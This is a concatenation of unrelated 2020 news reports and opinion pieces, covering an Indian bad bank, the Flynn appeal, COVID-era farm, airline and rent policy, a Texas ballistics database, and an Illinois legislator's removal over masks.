The substantial loss should be mainly attributed to such factors as sales plunge, discontinued production of several models and the confirmation on the expected liabilities. For the first three quarters in 2019, CAPSA sold only 2,000 new cars, said Changan Automobile.
A government-controlled bad bank is being projected by a section of experts as a panacea to the massive NPA (non-performing assets) problem in India. It is not. In fact, a state-owned/controlled bad bank could lead to a major anomaly in the pricing of bad assets. That will be counter-productive for the health of the banking system in the long-term.

The government, which does not have enough money to recapitalise state-run banks or have an alternative plan to address the NPA problem, seems to be pushing the bad bank creation. The government is reportedly considering a proposal from the banking industry lobby, the Indian Banks Association (IBA) and the viability of the proposal is being looked at right now.

Going by the IBA proposal, the bad bank will have an ARC-AMC model and an alternative investment fund (AIF) will be set up to buy the stressed assets from the banking system. Logically, the government will invest in the proposed bad bank initially while in due course banks and outside investors will pool in money. The creation of a bad bank supported by the government and industry is being pitched as a critical banking reform in Asia's third largest economy. Indian banks have nearly Rs 9 lakh crore non-performing assets (NPAs) as at end December.

But does the idea of a government-controlled bad bank really make good sense?

What is a bad bank?

A bad bank is essentially an entity which bundles together all the bad assets in the banking industry, buys it at a discounted price from banks and tries to find buyers by putting a turnaround plan in place. The purpose of creation of a bad bank is not very different from a typical asset reconstruction company (ARC).

The idea of a bad bank is not new. In 2018, the government had announced a plan for PSBs called 'Project Sashakt', which had a five-point plan for bad loan resolution in public sector banks. The government then spoke of a model, with the guiding principles of an Asset Management Company (AMC) resolution approach, under which an independent AMC would be set up to focus on asset turnaround, job creation and protection. The functions of this new company will be aligned with Insolvency and Bankruptcy Code (IBC) process and IBC laws, the government had said.

The government did not call it a bad bank then and made it clear that it won't get involved in the bad asset resolution process and the process will be led by banks. With this, an alternative investment fund (AIF)-based resolution approach for loans above Rs 500 crore was also discussed under which an AIF would raise funds from institutional investors. Banks, too, will have an option to participate, if they wish to participate on the upside. The idea could not be executed for various reasons.

The talk about 'bad bank' bears a resemblance to 'Project Sashakt', albeit in a different avatar. The idea is good and more workable now since banks have already made 70-80 percent provisions on the NPAs after the mega clean-up exercise. They can remove the remaining by transferring the assets to a different entity.

Why it may not work

There are two parts to the problem. Taking the bad assets off the books of PSBs to a new entity and eventually selling to a willing buyer based on a turnaround plan. The first one is easy, the second is not.

The reason why banks want to create a government-owned asset reconstruction company and not to sell the bad loans to any of the existing 27 ARCs is the pricing. Typically, ARCs ask for a steep cut while purchasing stressed loans. Bankers bargain, ARCs bargain and both go home with no deal. Once the government/ banks-owned bad bank comes into existence, this issue won't crop up.

Since the idea of creation is clear, the 'bad bank' won't bargain much while taking over the stressed assets as the government has already given the funding. This will actually lead to a serious distortion in pricing of stressed assets. But, since the bad bank is government controlled and majority of the banking system (by assets) is also government controlled, bad banks may be forced to buy the bad assets at a price the bank desires.

This, in effect, will mean that bad assets are not bought by the second party at market discovered price and based on business viability (potential sale at a later stage). This will mean the whole transaction would only help to move the NPAs from entity to the other. This could temporarily help the government to show that a solution has been arrived at for the NPA problem. But, beyond that, such a series of transactions will not help to address the actual rot in the banking system?

But, the even bigger issue arises later--when it comes to the second partwhile selling these loans to a potential buyer and resolving the underlying crisis in the system. The sharp deterioration in economic conditions on account of Covid-19 and global economic slowdown would mean that finding sellers for distressed assets will be a key challenge.

Now, if there are no deep-pocket buyers willing to put money on the table or if there is lack of private participation, the resolution plan may hit a roadblock. In the absence of a strong turnaround plan, the bad bank plan can backfire since this will be only transferring the risky assets in the banking system from one place to the other.

It is better to leave the business of bad banks to the existing bad banks (there are many of them in India) and have the market discover the prices of NPAs.
It looked like a good day for General Michael Flynn when the Department of Justice, having learned how corrupt the previous administration's case against Flynn was, moved to dismiss the prosecution. This is the kind of motion that courts rubber-stamp unless they fear that the Justice Department is dismissing a weak case as a prelude to filing a stronger case later. Without that situation present, Sullivan's only option should have been to grant the motion.

On May 11, Judge Emmet Sullivan, who had been openly hostile to Flynn, surprised everyone by saying from the bench that he was inviting third parties to weigh in on the matter, opposing both Flynn and the DOJ. One day later, acting on his own initiative, Sullivan appointed John Gleeson, a retired judge who had co-written a Washington Post opinion piece objecting to Flynn's dismissal, to argue against the DOJ's motion to dismiss.

A week later, Flynn's intrepid counsel, Sidney Powell, filed a Petition for Writ of Mandamus with the appellate court asking that the court force Sullivan (1) to grant the motion to dismiss, (2) to reverse the invitation to Judge Gleeson, and (3) to exit the case poste haste. On Thursday, the appellate court, acting through Judges Karen Henderson, Robert L. Wilkins, and Neomi Rao, issued an unexpected order:

ORDERED, on the court's own motion, that within ten days of the date of this order the district judge file a response addressing petitioner's request that this court order the district judge to grant the government's motion to dismiss filed on May 7, 2020 (ECF No. 198). See Fed. R. Crim. P. 48(a); United States v. Fokker Services B.V. , 818 F.3d 733 (D.C. Cir. 2016). The government is invited to respond in its discretion within the same ten-day period.

A world of information lies behind that brevity, especially to those who have spent years reading meaning into cryptic orders.

Update. Sidney Powell is celebrating this order on Twitter:

Here is the docket & order. A court of appeals grants a mandamus only after the judge has had an opportunity to respond. Here the Circuit ORDERS Sullivan to respond. The short time-table recognizes the seriousness of the issue to the proper administration of justice.@POTUS pic.twitter.com/0VJVVBmvM0  Sidney Powell  (@SidneyPowell1) May 21, 2020

Unless we learn otherwise, this was a random assignment through the court's intake system, but it was a lucky one for Flynn. Judge Henderson is a GHW Bush appointee, and Judge Rao is a Trump appointee. In other words, neither is a judicial activist. Both women believe that the law means what it says and should not be interpreted to force a desired political or "social justice" outcome. Only Judge Robert L. Wilkins is an Obama appointee.

The judges issued the order "Per Curiam." That means all three agreed about the order. Given that Wilkins is an Obama appointee, his willingness to side with the other two judges is intriguing, although it doesn't hint at how he'll ultimately rule.

Although I hate optimism when staring at this type of order, the fact that the court wants briefing suggests that it's inclined to grant the mandamus petition. Otherwise, it could simply reject the petition without giving a reason or, perhaps, could say the petition is premature and that Flynn should come back if Judge Sullivan eventually denies the motion to dismiss. Its request that the Department of Justice can chime in if it wants implies that it's seeking as many arguments as possible to justify granting the writ petition.

The demand that Judge Sullivan file a response is interesting. Judge Sullivan's orders show what he wants  a biased, retired judge to oppose the motion to dismiss, as well as briefs from any other non-parties who want a say in the matter  but they do not explain Sullivan's thought process. He's going to have to put his cards on the table.

The appellate court has also warned Sullivan that his thoughts have to pass muster under Fed. R. Crim. P. 48(a) and United States v. Fokker Services B.V., 818 F.3d 733 (D.C. Cir. 2016). Rule 48 is the procedural rule for a dismissal motion. The Fokker case sets the standard, which is that the prosecutor alone has discretion to decide whether a case should be dismissed, and the judge cannot override a prosecutor's decision simply because the judge disagrees with it. If all Sullivan has is "I think Flynn's guilty," he's got nothing.

On top of this, Sullivan has ten days to explain himself to the court. When Sullivan set oral argument for July 16, he might have hoped he could delay ruling on the issue until after a possible Biden victory. In that case, a newly staffed DOJ would withdraw the motion to dismiss, and Sullivan would never have to articulate why the law doesn't apply to him. That hope is over.

Finally, the appellate court is interested only in whether Sullivan should have granted the motion to dismiss. Flynn's petition also asked that the appellate court to reverse Sullivan's order allowing Judge Gleeson to file a brief opposing the motion to dismiss and that the appellate court force Sullivan off the case. Those last two matters go away if the appellate court grants the motion to dismiss portion of the petition. An optimist would say the court's streamlining this is another sign that the appellate court views Flynn's motion favorably.

I am never an optimist. No matter how carefully one reads the tea leaves, appellate judges are inscrutable creatures and, moreover, creatures who like to send out false signals. The fact that the appellate court should grant Flynn's mandamus petition and the fact that an optimistic read of the terse order suggests that it might grant the petition do not mean that it will grant the petition.
The Jammu and Kashmir government has decided to set up several collection centres for various agricultural products in proximity of their production areas to enable farmers reach them directly to sell their products without any interference of brokers.

This is the part of a slew of measures that the Union Territory government has taken to minimise farmers' economic distress due to the COVID-19 lockdown, an official spokesperson said.

The other measures include steps to promote exports of basmati rice from Jammu region besides supporting high density plantation for fruits like apple, kiwi, peach, grapes and walnuts and decongestion of major fruit and vegetable mandies across J&K besides timely marketing of the agricultural and horticultural products.

The Agriculture Production Department has allowed deputy commissioners to notify various places in their respective jurisdictions, where farmers can bring their produce for marketing without any intermediary interference, the spokesman said.

The guidelines said a collection or aggregation centre in the proximity of production areas may be set up by a person after getting it registered by the concerned market administrative committees.

The person will have to comply with a set of guidelines, specially refraining from any kind of hoarding, under the Essential Commodities Act.

All the market administrative committees of the UT have been asked to allow and facilitate functioning of such Collection and Sale Centres without any hindrance, the spokesman said.

Similarly, the UT's principal agriculture product, the Jammu basmati rice, has been certified as Safe for Pesticides Residual Limits by Quality Control & Quality Assurance Division of the Indian Institute of Integrative e-Medicine under the CSIR.

The CSIR had earlier collected 184 samples of basmati rice from its growers of in Jammu, Samba and Kathua districts and had certified them for their purity, the spokesman added.

A report issued by the IIIM in this regard will be shared with the Agriculture and Processed Products Export Development Authority (APEDA) and other relevant forums for promoting and popularizing the Jammu basmati rice and further removing bottlenecks in its export.

In another major move to reduce Covid-19 pandemic distress of farmers, JK Industries is to procure 60,000 kg of grade A and grade B cocoon from Jammu division and 50,000 kg from Kashmir division.

Meanwhile, concerted efforts are being made to develop horticulture and related activities in Jammu region by way of several government interventions.

The potential tapping of high density and ultra high density plantation for apple, kiwi, peach, grapes and walnut is the main focus of the government.

These fruits have huge potential in hilly areas of Kishtwar, Doda, Poonch, Rajouri, Udhampur, Reasi, Ramban and Kathua, the spokesperson said.

The services of Centre for Excellence for Horticulture are being utilized to promote the fruit growing in all types of regions of Jammu division.

Upgrading the infrastructure of the fruit and vegetable market on modern lines with all the necessary facilities has been prioritized.

The State Level Project Screening Committee (SLPSC) on Rashtriya Krishi Vikas Yojana (RKVY-RAFTAR), has recently approved the annual action plan envisaging mobilization of farmers producer organizations (FPOs) and promotion of local specialty crops, value addition, organic farming, farm mechanization and promoting agri-business entrepreneurship.

Aadhar seeding and 100 per cent assistance transfer through DBT for all beneficiary- oriented schemes have also been stressed upon.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Armenia evacuated on Friday 168 more Armenian citizens from coronavirus-hit Turkey in coordination with Turkish and Georgian authorities.

They reportedly boarded four Armenian buses after being bused from Istanbul to the Turkish-Georgian border late at night. They then proceeded to Armenia via Georgia.

Armenias government paid for the bus service and covered other expenses incurred during the evacuation. The Armenian Embassy in Tbilisi said it provided the evacuees with food and other essential items during their transit through Georgia which was allowed by the Georgian government.

All evacuees were due to be told to self-isolate for two weeks on their arrival in Armenia.

More than 70 other Armenians were evacuated from Turkey in early April. The Armenian and Turkish foreign ministries arranged their return during a rare direct contact.

Armenia and Turkey do not have diplomatic relations. Successive Turkish governments have also kept the border between the two neighboring states closed because of the unresolved conflict over Nagorno-Karabakh.

Officials in Yerevan say that more than 60,000 Armenian nationals, most of them migrant workers who lived in Russia and Europe, have returned to their country since March 1 due to the coronavirus pandemic and resulting economic consequences.

According to the Armenian Embassy in Moscow, at least 5,000 Armenians currently stuck in Russia also want to return home but are unable to do so because of the coronavirus-related absence of regular flights between the two countries. Since the beginning of April the embassy has helped to organize a dozen charter flights to Yerevan from Moscow and other Russian cities to evacuate a smaller number of other citizens.
"Fix You" is a good drama that talks about the importance of mental health and wellbeing. The story shares an individual's experience in dealing with emotional imbalance.

Understanding mental health and wellbeing is important to all, whether we are living with mental issues or not. Getting a balance of good mental health, or being mentally healthy, is more than just the absence of illness but most of all, a state of overall wellbeing.

The drama series gives a clear understanding of how important it is to seek professional help when in need. It provides an avenue for the society to provide huge support and show kindness with someone coping with mental illness. The environment and the people that surround us have a great influence on how we survive and grow as a person.

Dr. Shi Joon, as a psychiatrist, also has his battle in balancing his wellbeing. Thus, "Fix You" entails that no one is exempted and lives a perfect life. The show gives the viewers the reasons for and benefits on how we care for our mind and body:

Enjoyment of life

Coping ability and "bounce back" from stress and sadness

Being able to set and fulfill goals

Having the capability to build and maintain a relationship with others

The medical drama "Fix You" is a meticulous masterpiece since it tackles facts and reality. Writer Lee Hyang Hee shared how the story comes to life and her bond working with the cast.

The story revolves around a psychiatrist Lee Shi Joon (Shin Ha Kyun), and his persistent patient, musical actress Han Woo Joo (Jung So Min). The psychiatrist believes in "healing" methods in treating his patients rather than "curing" them.

In one of her interviews, Lee Hyang Hee was asked why she wrote "Fix You." She said that everyone goes through emotional pain but hasn't been diagnosed yet. Humans, she said, don't usually open up about their pains.

"Although the 'Fix You' is only a work of fiction, it has been prepared with the desire to broaden the mindset toward mental illness, and to be a 'comfort' for those who experienced emotional pain," she shared.

Lee Hyang Hee also talked about the challenges she encountered while penning this drama, saying that she was concerned about the possible misunderstanding about a patient that could differ from the intention of the producer. Further, she tried to write the story warmly from the patients' point of view

She said, "All cases and diseases of patients in the drama were thoroughly investigated. There are also data obtained through books and papers, but many stories are based on actual cases obtained by meeting psychiatrists and patients in person."

Lee Hyang Hee shared she's delighted to work with the cast members as each of them fits the role that the script material carries.

When it came to the main character, Lee Shi Joon, Lee Hyang Hee revealed that she and Shin Ha Kyun naturally thought of the character as the actor himself. Through this, the writer explained that she was able to create a perfect Lee Shi Joon.

Meanwhile, Lee Hyang Hee shared that actress Jung So Min's role has both fire and water image as she adds her own flair.

"I think mental illness is not just an individual problem, but also a social cause. I hope the spirit and threshold will be lowered, and the preconceptions about mental illness will disappear," Lee Hyang Hee concluded.
Opinion Article

22 May 2020

Assessing the global aviation situation and harnessing possible solutions in its quest for survival. Not just the pros and cons of private credits versus government funding, but also the need for solidarity and the role of environmental issues.

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Data from the World Tourism Organisation highlights that global tourism expenditures have tripled between 2000 and 2018. This strong increase has come to a sudden halt in the wake of the Covid-19 crisis. While some countries forbid their population to step outside (apart from grocery shopping and medical matters), others are a bit more lenient in their approach. They, however, all share the fact that touristic activities are off the agenda. Hotels and restaurants are closed, as are man-made or natural tourist attractions. Finally, many borders have been closed and air traffic reduced to the strict minimum, only allowing for the repatriation of stranded citizens. As a consequence, even busy hubs such as Singapore, Frankfurt and New York have seen their airport activities reduced by more than 90%.

The global aviation industry has been hit hard throughout the world and former aviation crises such as the September 11 terrorist attacks or the 2010 Eyjafjallajokull eruption now look like small blips in comparison. According to the International Air Transport Association (IATA) airlines could accumulate losses of around 252 billion USD in 2020. Compared to 2019, flights have decreased by around 90% so far, and over the entire year a reduction of 40% of flights is possible. This will push many airlines, already working on low margins or losses, into financial distress rather sooner than later.

Using the Z-score for assessment

While the situation is dire for most, if not all airlines worldwide, irrespective of business model, size or location, some airlines are more at risk than others. So in times of the survival of the fittest, which airlines are better positioned? The Z-score proposed by Edward Altman in the 1960s helps understanding bankruptcy risk and delivers some insightful indications. The model is not able to predict the odds of a company going into financial distress, but it analyses and aggregates different corporate dimensions which have been shown to be important in the case of bankruptcy. These include short term liquidity, solvency, leverage, profitability and asset turnover. As the calculations are based on accounting data, they evidently do not take into account current rescue plans and cost reduction programs, but can help us understand which airlines were more at risk of financial distress before the crisis even started. In this vein, an Altman Z-score lower than 1.8 indicates an airline may be directed for financial distress, while a score closer to 3 hints at an airline with financial strength.

Analysing the latest accounting data (FY 2019) for some European carriers, we find that low-cost carriers (apart from Norwegian) seem a priori to have the best financial positioning with scores above 1.8. The large national carriers have scores between 1.36 (SAS) and 0.86 (Air France-KLM) showing that European carriers are, generally, not in the best position to weather this crisis without external help.

Photo: EHL

The winners, losers and those in between

What is the takeaway from these different scores? The figure clearly shows that not all airlines started off in this crisis on an equal footing. Some companies were already, de facto, in financial distress at the beginning of the year, e.g. Norwegian. As this carrier is in direct competition with SAS, government support may be difficult to implement without alienating neighbouring countries or creating competitive distortions between the two airlines. Norwegian, indeed looks in the most dire position compared to other companies.

Others such as IAG, Air France-KLM can count on support from their respective governments since they are deemed systemic to the well-functioning of the economy, or the state already owns an equity stake. This may lead to a lower Z-score as government guarantees take some pressure off financial performance and allow for more aggressive operations. However, following consolidation in the industry over the past decade, most of these carriers today are pan-European. This may lead to governance issues and political tensions in case of financial lifelines by governments.

Finally, we have pan-European low-cost carriers (e.g. Wizz Air, Ryanair, EasyJet) which appear the most solid according to the Z-scores and which have performed rather well over the past few years. They, however, need a financially solid model as they, in theory can rely less on government backing. Even today, financial support for these companies may be the most difficult to orchestrate for different reasons: They do not belong to a single country (most have operating subsidiaries in different European countries), the population is less emotionally attached to them compared to national carriers, government money is not infinite and in times of environmental considerations the low-cost model may not be deemed suitable to be entirely saved.

Possible financial solutions

All airlines have started to react to the crisis by cutting costs. Most have by now grounded their entire fleet and have put, whenever possible, their staff into unemployment schemes offered by governments. They have also started to give credit notes to passengers whose flights were cancelled instead of reimbursements and cancellation penalties under EU law. This last point alone would tip most airlines into financial distress and regulations will have to come into effect to resolve this issue by the European Union. Finally, airlines have used their planes to transport cargo in order to generate some revenues. While these are first steps to alleviate the impact of travel bans they will not be sufficient and it today seems obvious that every airline will need additional money and much more help to survive. So what are possible financing solutions to this dire situation and what issues do airlines face in their quest for survival? We see three major possibilities.

Private credits: Airlines can alleviate short-term liquidity concerns by using credit lines and contracting additional short-run credit facilities from investors and financial institutions. This solution is very costly in the current environment and private investors may be very reluctant to lend money to an industry which is troubled and in which many companies may not survive. In order to reduce concerns by private investors, governments could guarantee loans fully or partially in case of financial distress. Credit a fond perdu: Governments can inject money, much like many currently do for SMEs, into carriers. While this constitutes a straight-forward solution, most carriers are private entities. This may lead to a distortion compared to other non-airline companies that may also need help. A further issue is the implementation for carriers which are owned by foreign entities. For example, Austrian, Swiss and Brussels Airlines are fully-owned subsidiaries of Lufthansa. The same applies to groups such as Air France-KLM or International Airlines Group. No government would want to explain why tax-payers' money may be going abroad instead of into the national economy. The same applies to low-cost carriers which operate in many different European countries and are not true national carriers attached to a specific country. Equity: Governments take stakes in the equity of carriers in exchange for funding. While this is seen as a return to interventionism in some countries, airlines would need to play by the rules of their new owners. Governments would thus have an easier stance in justifying their funding scheme to tax-payers, especially if accompanied by a precise exit plan. They, moreover, may reap some benefits through future dividend payments or a sale of the stake at a future point in time. The question arising is how to take stakes in large groups. It would, for example, be difficult for a government to take a stake in a carrier which is a wholly-owned subsidiary of another carrier (e.g. as is the case for Swiss and Lufthansa). A direct investment in the mother group (i.e. Lufthansa in this case) may be more appropriate, but in that event, several governments would need to coordinate.

Conclusion

Overall, there is no miracle solution but a coordinated and solidary intervention by all European actors may well be the only way for airlines to survive the largest crisis ever encountered. The different governments will, for once, not have much choice but to work together due to the pan-European nature of the industry. They may also link their support to other topics such as environmental issues, the positioning of the airline industry as compared to other transportation means such as trains, or further consolidation waves to not only save airlines today but to shape the future of the industry for the years to come.

Sources:
It has been seven months since the Beaumont Police Department and Bureau of Alcohol,Tobacco and Firearms unveiled a new ballistics network they say could help solve cold cases in and around Southeast Texas.

After more than 200 entries produced about 40 leads, the system has yet to yield an arrest or charge. But both BPD and the ATF said the system needs more time.

During a news conference in October, Beaumont Police Chief James Singletary said he was excited to add the National Integrated Ballistics Intelligence Network to his departments lists of resources.

Bullet casings gathered from a crime scene are entered into the machine, which renders a three-dimensional image of the casing using lasers. Investigators look for two markings left by the guns firing pin and the extracting rod, which act as unique fingerprints that can match a casing to a gun with a 99% accuracy rate.

The results are put into a statewide database. Officers also can have access to other states databases upon request if a suspect recently has moved from another area.

Beaumont Police Capt. Chris Schuldt said BPD has 210 entries in the system. Of those, officers have found 44 leads on previously unsolved cases, he said.

If a match comes up, it is sent back as a lead to our detectives, he said. We look into and compare it. We see if there are suspects in one case. If they are, they become suspects for the case that the gun is linked to. We are currently looking into these leads and following up on them as best we can. Some of them end up as dead ends. The thing is, we might be able to solve that crime down the road if we get a fresh link that has information attached to it.

In October, Singletary said he would like for other nearby agencies to also put ballistic evidence into the database. Only BPD has entered evidence as of May 12, Schuldt said. The main reason other departments have not been able to enter casings is the lack of training.

They would have to come in and enter their own (evidence) because of the way the system is set up, Schuldt said. We hope to at some point have representatives from other agencies come in and use it to get more entries from the areaThe way it works, personnel from there department has to be trained. Our personnel got trained. After they have done so many entries, then they will be able to go to classes to teach someone else from the area how to use the machineIts a process that we are working on. We want to do the best for the region.

He said he did not know how many entries a person needs to be able to attend the classes, adding that BPD is not sending anyone for training during the coronavirus pandemic.

Were hoping within the next six months or so to be able to take those next steps, he said.

ATF special agent Marlin Ford said, since 2016, ATF Houston crime gun strike force has made more than 200 arrests based off the networks findings.

With time, we expect to see similar results in Beaumont, he said. We wont have the same volume as a major city like Houston. We have an ongoing investigation in Beaumont that has six incidents of violent crime that have been linked through NIBIN. We have potential here. Its coming.

Schuldt said the network made a connection between a Beaumont crime and a Houston crime.

Weve had one case link to a case from Houston, Schuldt said. I dont think we were able to solve it, but it did add information to our case and we were able to add information to their case. Most of the links we have found have been Beaumont crime to Beaumont crime.

Ford said just because there is a link in the system, does not necessarily mean the shooter is the same in both crimes.

Guns are a hot commodity on the street, he said. You have some guns that are considered community guns and they move from one person to the next. You could have one person that uses one gun all the time. It just depends on the situation.

ATF spokesperson Nicole Strong said even if a gun is used by multiple people, it can still be an investigative tool.

We can go to the guy that had the gun last registered and start asking him questions, she said. It couldve been a suspect that we wouldnt have otherwise identified.

Singletary said he is not putting a time limit on when NIBIN should start yielding results.

We know that it is going to take some time, Singletary said. We are comparing our situation to Houston and we look at how successful they have been.

We dont have the volume of crimes they have in Houston, but we are excited about the potential for this. We have several leads that we are looking at. We have a lot of good things to build on.

Down the road, I think this is going to be a heck of a tool for law enforcement in Southeast Texas.

chris.moore@beaumontenterprise.com

twitter.com/chris_moore09
New Delhi: Reserve Bank of India (RBI) Governor Shaktikanta Das will address a press conference at 10 am on Friday amidst expectations that he will announce measures to ease the financial stress caused by the COVID-19 pandemic..

This will be his third press conference (the other two being on March 27 and April 17). In his last conference the RBI Governor said that the central bank will ensure adequate liquidity in the system. The RBI reduced the reverse repo rate - the rate at which banks park their fund with the central bank - by 25 basis points to 3.75 per cent, to encourage banks to lend to the productive sectors of the economy.

RBI has tweeted

As per media reports the RBI governor is expected to announce an extension of the loan moratorium for a few more months following the extension of the nationwide lockdown till May 31. It may be recalled that on March 27, 2020 the RBI had permitted lending institutions (LIs) to grant a moratorium of three months on payment of current dues falling between March 1 and May 31, 2020.

Das may also announce continuation of the liquidity support measures for NBFCs and small industrial units. In his last presser, the RBI Governor had said that in order to ease the liquidity position at the level of individual institutions, the LCR requirement for Scheduled Commercial Banks is being brought down from 100 per cent to 80 per cent with immediate effect. The requirement shall be gradually restored back in two phases  90 per cent by October 1, 2020 and 100 per cent by April 1, 2021.

The RBI Governor may also make comments on the announcements made by Finance Minister Nirmala Sitharaman on the Rs 20 lakh crore Atma Nirbhar Bharat package.
KALAMAZOO, MI  A dog was shot and killed by police at around 2:39 p.m. Thursday, May 21 in the 6000 block of East H Avenue, the Kalamazoo County Sheriffs Office confirmed early Thursday afternoon.

Members of the Kalamazoo Metro SWAT team and assisting agencies are actively working a felonious assault investigation in the area, located one block east of a Comstock Township fire station, according to the release, sent out earlier Thursday.

A reporter on scene for MLive/Kalamazoo Gazette heard shots fired.

Kalamazoo County Undersheriff James VanDyken said that a dog came charging out of a house that officers had surrounded. The dog was shot dead by a member of law enforcement, VanDyken confirmed.

Deputies, according to the news release, were dealing with individuals contained to a single residence, and the agency reported there were no concerns for public safety.

VanDyken said a call regarding the assault came in about 1:50 p.m.

East H Avenue was closed between North 26th Street to the west and Lyons Avenue to the east for most of the afternoon.

SWAT members cleared the home around 4 p.m. Thursday afternoon.

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Vietnam called on all involved parties in Somalia to promote dialogues and create conditions for people and political parties to participate in direct one-person one-vote elections, a Vietnamese diplomat told a UNSC teleconference yesterday.

A scene of a suicide car bomb explosion at a checkpoint near the Parliament in Mogadishu, Somalia last year.

Ambassador Dang Dinh Quy, Permanent Representative of Vietnam to the UN, voiced his concern over conflicts between Somalias Federal Government and regional states, particularly recent clashes in Jubbaland.

Quy condemned terrorist attacks in Somalia and urged the international community and stakeholders to strengthen collective efforts against al-Shabaab militant group to protect civilians, especially women and children.

He said Vietnam supports operation of the African Union Mission in Somalia (AMISOM) and the UN Assistance Mission in Somalia (UNSOM) as well as the UN Working Group to help the African country maintain peace, stability and development.

Addressing the event, James Swan, Special Representative of the Secretary-General and UNSOM Head, said the COVID-19 is not only having the medical and humanitarian effects but also a severe economic blow on Somalia. Even before the pandemic, more than 5 million Somalis required humanitarian assistance while the country is being badly hit by flooding and the worst desert locust infestation in 25 years, he said.

The Government of Somalia projects an 11-percent decline in nominal GDP for 2020, he noted.

This year, the country set to hold the first direct elections since 1969, he continued. The holding of peaceful, inclusive, credible and transparent one-person-one-vote elections would be a historic step in rebuilding Somalia and would assist with the countrys continued democratic development.

He expressed his concern over evolving al-Shabaab whose terrorist operations continue unabated despite the COVID-19 outbreak, and urged key international partners to continue support Somalias security sector in the future.

He expected a commitment to dialogue and cooperation extend to relations between the Somali Federal Government and all of the member sates for the interests of the Somali people./.VNA
The Nigerian Government on Thursday announced a committee will be set to evaluate reopening the countrys economy.

The economy has been partially open since the lockdown easing started.

The National Economic Council came to this conclusion after a meeting on Thursday.

Governors that attended the meeting admitted that the vaccum of cooperation during the initial stages of the pandemic between the States and Abuja has been resolved.

President Buhari also maintained that the Governors and the Presidential Task Force must work on finding the next steps on dealing with the pandemic.

This was due to the fact that States all had different approaches to solving their selective issues.

The Governors and PTF both agreed to work on joint guidelines dealing with Covid-19.
President of Artsakh (Nagorno-Karabakh) Arayik Haroutyunyan today received Speaker of the National Assembly of Armenia Ararat Mirzoyan.

President Haroutyunyan highly appreciated the relations established between the parliaments of the two Armenian republics and emphasized that those relations always need to be improved.

In this context, Haroutyunyan attached importance to the intensification of cooperation and the construction of qualitatively new relations with the newly elected National Assembly of Artsakh.

Mirzoyan congratulated Haroutyunyan on assuming the office of President and assured that the National Assembly of Armenia will exert all efforts to develop more effective mechanisms for cooperation with the National Assembly of Artsakh.

Speaker of the National Assembly of Artsakh Artur Tovmasyan was also attending the meeting.
A leading landlord insurer has confirmed they will not cover any reductions to rental payments negotiated by the property owner and the tenant amid the COVID-19 outbreak.

Furthermore, Terri Scheer has confirmed they will no longer take on new customers during the pandemic.

Given the uncertainty around the COVID-19 situation we have temporarily stopped selling new landlord insurance. Our focus is on supporting our existing customers through this difficult time, said Carolyn Parrella, insurance executive manager at Terri Sheer.

She also said insurers do not consider rent reductions a default by a tenant.

"Landlords who choose to negotiate lower rents with tenants will remain covered under their existing policy to the new rental amount. So, if a tenant stops paying rent at the renegotiated amount and vacates the property, there may be a valid trigger for a claim," she told Your Investment Property.

State governments have rolled out several policies in response to the pandemic, including a ban on evictions and financial packages to help tenants keep a roof above their heads. Residential landlords were also encouraged to negotiate with their tenants for any rent deferral or reductions.

Parrella said while the eviction moratorium is in effect, any unpaid rent would continue to accrue until the tenant leaves the property. In such cases, landlord can lodge a claim.

"We won't require property managers to issue a notice of eviction during the moratorium period for a later claim to be valid, but this is limited to the period of the moratorium," she said.

Campbell Fuller, head of communications and media relations at Insurance Council of Australia, said tenants who are struggling to pay for their rents could seek government support.

"Governments expect that tenants should continue to pay some rent where they have funds available, especially when they are receiving taxpayer-funded support such as JobKeeper, JobSeeker or rental assistance," he told Insurance Business Australia.

Fuller said in cases where tenants are unable to meet their obligation, insurers will not pursue them for unpaid rent. However, he said landlords must know that not all policies cover loss of rent.

"Landlord insurance protects the investment that a landlord has made in a rental property. Cover can be purchased for the building, contents or rental income, or any combination of these. Cover for loss of rent is not always included in a landlord policy and may be added as required," he said.
Bay League boys and girls basketball teams will play five league games and then there will be a tournament to determine seeding for CIF-Southern Section playoffs.
On the first day of the Illinois General Assembly's special pandemic session, in a makeshift chamber in the Bank of Springfield Center, the first order of business was to vote that everyone must wear a mask - a rule that passed overwhelmingly with bipartisan support.

But there was one Republican holdout on Wednesday: state Rep. Darren Bailey, who sat smiling at his desk on the floor of the arena and refused to put one on.

"[If] you want to send me or anyone else outside the doors today, I understand. Go right ahead," Bailey said when asked to comply, NPR Illinois reported. "But know this: If you do that, you're silencing millions of voices of people who have had enough."

His colleagues on both sides of the aisle didn't appear too worried. They kicked him out of the legislature by an 81-27 vote.

"Doormen, please remove Rep. Bailey," said state Rep. Jay Hoffman, D, before a group of men in masks escorted the mask-less Bailey from the arena, the state's temporary legislative home to allow for more social distancing.

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Bailey, who has sued Illinois Gov. J.B. Pritzker, D, over his stay-at-home executive order, is among a number of Republican lawmakers nationwide who have joined their constituents in acts of defiance, fueling a political power struggle that has sometimes overshadowed the public health crisis. Masks have become part of those partisan battles, as some Republicans, most visibly President Trump, have refused to wear them in public.

To Bailey, the confrontation was a stand against being told by the government how to live his life, he told The Washington Post late Wednesday. But to his colleagues, it was a less than amusing bit of political theatrics while they have more pressing matters on their hands. Some Republicans joined Democrats in rebuking him.

"I don't think the people that sent us here to represent them today intended for us to focus our time on a mask showdown of whether you're wearing it or you're not," said state Rep. Dan Brady, R, according to NPR Illinois.

The Illinois House rules allow a lawmaker who is removed to return should he or she decide to don the face mask.

Pritzker had harsh words for Bailey at Wednesday's press briefing.

"The representative has shown a callous disregard for life, callous disregard for people's health," Pritzker said. "You just heard a doctor tell you why to wear a mask in the first place. It's to protect others. So clearly, the representative has no interest in protecting others."

Bailey's move follows a pattern by some GOP lawmakers to buck Democratic governors who have put forth stricter stay-at-home rules, such as in Illinois. GOP lawmakers in several states have joined protesters in anti-lockdown demonstrations. Some have gotten illegal haircuts or patronized illegally opened businesses. And like Bailey, some have sued their Democratic governors - which in Wisconsin led to the state Supreme Court striking down Gov. Tony Evers's stay-at-home restrictions. As a result, many bars immediately reopened.

In Bailey's case, the downstate Republican from Xenia, Illinois, won a temporary restraining order against Pritzker's stay-at-home order last month, which only applied to him. The case is ongoing with a hearing scheduled Friday.

On Wednesday, Bailey told The Washington Post that he believed the mask rule, which had been earlier announced by Democratic House Speaker Michael Madigan, was "not about health" but was instead "just another Democrat bullying tactic." He said he would wear one if he were concerned for his health, but he isn't, and doesn't like being told that he must.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

"This whole thing that it's concern for other people? I don't buy that at all," he said.

